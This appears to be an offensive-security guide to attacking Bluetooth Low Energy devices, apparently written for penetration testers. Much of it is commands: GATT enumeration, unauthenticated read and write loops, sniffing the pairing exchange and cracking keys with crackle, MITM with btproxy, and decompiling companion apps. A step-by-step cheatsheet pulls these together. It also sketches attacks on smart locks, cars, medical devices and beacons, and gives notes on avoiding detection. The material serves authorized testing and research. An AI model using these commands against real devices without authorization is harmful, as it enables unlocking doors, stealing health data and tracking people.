Bluetooth Low Energy (BLE) Attacks
BLE devices communicate via GATT — a hierarchy of services, characteristics, and descriptors. Many devices treat the BLE link itself as the trust boundary, exposing privileged operations on characteristics readable/writable from any nearby device.
Quick Workflow
- Discover and enumerate the device's GATT tree
- Test every characteristic for read/write/notify without authentication
- Inspect pairing method — Just Works = no MITM protection
- If Just Works, MITM the pairing to capture / inject
- Reverse the companion app for proprietary command formats
Discovery + GATT Enumeration
# bettercap (interactive)
sudo bettercap -eval "ble.recon on; events.show 60; ble.show"
# Or, attach to a known-MAC device
sudo bettercap -eval "ble.recon on; ble.enum AA:BB:CC:DD:EE:FF"
# bluetoothctl
bluetoothctl
> scan on
> connect AA:BB:CC:DD:EE:FF
> menu gatt
> list-attributes
# gatttool (deprecated but still works)
gatttool -b AA:BB:CC:DD:EE:FF -I
> connect
> primary # list services
> char-desc # list characteristics
> char-read-uuid <uuid>
> char-write-req <handle> <hex>
GATT services use 16-bit UUIDs for SIG-defined services (battery, heart rate) and 128-bit UUIDs for vendor-defined ones. Custom 128-bit UUIDs are where vendor-specific commands live — that's your attack surface.
Characteristic Auth-Free Read/Write
Test every characteristic flagged read/write/notify:
# Read all readable characteristics
for h in $(gatttool -b <MAC> --primary | awk '{print $5}'); do
echo "=== Handle $h ==="
gatttool -b <MAC> --char-read --handle=$h
done
# Write to writable characteristics with crafted values
gatttool -b <MAC> --char-write-req --handle=0x0010 --value=0x01
Common findings on consumer BLE devices:
- Door locks:
unlock characteristic accepts any write (no auth)
- Smart bulbs: brightness/color writeable from any peer
- Wearables: PIN/lock-state readable
- BLE beacons: configurable from any peer (rebrand attacks)
Pairing Method Identification
# Bluetoothctl shows pairing method on initial pair attempt
bluetoothctl
> pair AA:BB:CC:DD:EE:FF
# Watch for: "Confirm passkey", "Display passkey", or no prompt = Just Works
| Method | Security | Attack |
|---|
| Just Works | None — authenticates anything | Trivial MITM during pairing |
| Numeric Comparison | User confirms 6-digit code | UI manipulation only; crypto strong |
| Passkey Entry | 6-digit code entered or displayed | Brute attack on passkey crackable in some pairing variants |
| Out of Band (OOB) | NFC / QR exchange | Out of scope for BLE attacker |
LE Legacy Pairing uses TK derivation that's crackable from a captured pairing exchange. LE Secure Connections (Bluetooth 4.2+) uses ECDH and is strong if Just Works isn't forced.
Sniffing the Pairing Exchange
# TI CC1352-based: Sniffle (modern, multi-channel)
sudo Sniffle -c 37,38,39 -o pairing.pcap
# Ubertooth (older but well-supported)
ubertooth-btle -f -c pairing.pcap
# Then in Wireshark, decode with crackle
crackle -i pairing.pcap -o decrypted.pcap
# Crackle handles LE Legacy Pairing TK guessing for short-passkey/JustWorks
For LE Legacy Pairing with Just Works, crackle recovers the LTK in seconds. For LE Secure Connections, crackle returns "encrypted with strong key, no recovery."
Active MITM During Pairing
# btproxy / mirage-action-with-mitm — relay between device and victim's phone
mirage-action-with-mitm
# Or:
git clone https://github.com/Charmve/btproxy
sudo python btproxy.py
If pairing is Just Works, you become the legitimate peer for both sides — read/modify GATT operations in real time.
Companion App Reverse Engineering
For vendor-defined characteristics, the format is in the app:
# Pull APK
adb pull /data/app/com.vendor.app/base.apk
# Decompile
jadx -d app_src base.apk
# Find BLE writes
grep -r "writeCharacteristic\|GATT_CHARACTERISTIC" app_src/
# Look at the bytes the app writes vs. observed in-air values
Hand off to offensive-mobile for deeper companion analysis.
Specific Device Classes
Smart Locks
- Test
unlock characteristic for unauth write
- Test if rolling token is replayable (capture-and-replay within window)
- Check for hardcoded LTK in firmware (chip-off + binary analysis — see
offensive-iot)
Cars (BLE Phone-as-Key)
- Relay attacks (extending range with two SDR-equipped relays, see Tesla research 2022)
- Pairing-state machine flaws
Medical Devices
- Often use unauthenticated GATT for telemetry — read PHI as a proximity-based attacker
- Some allow remote configuration (insulin pumps, pacemakers — coordinate disclosure carefully)
Beacons (iBeacon, Eddystone)
- Often configurable with default password (
0000, 12345678, vendor-specific)
- Rebrand for tracking-confusion or counter-marketing
Detection Considerations
- BLE has no native intrusion detection comparable to Wi-Fi WIDS
- Vendor cloud may detect anomalous characteristic patterns (rare)
- Pairing failure logs visible to user — multiple Just Works prompts may trigger suspicion
Engagement Cheatsheet
# 1. Discover
sudo bettercap -eval "ble.recon on; events.show 60"
# 2. Connect + enum GATT
sudo bettercap -eval "ble.enum <MAC>"
# 3. Probe every characteristic for unauth read/write
for h in <handles>; do gatttool -b <MAC> --char-read --handle=$h; done
# 4. Inspect pairing — Just Works detected?
bluetoothctl pair <MAC>
# 5. If Just Works: sniff during real pair, crack LTK with crackle
sudo Sniffle -c 37,38,39 -o pair.pcap
crackle -i pair.pcap
# 6. RE companion app for proprietary commands
jadx -d app_src vendor.apk
Key References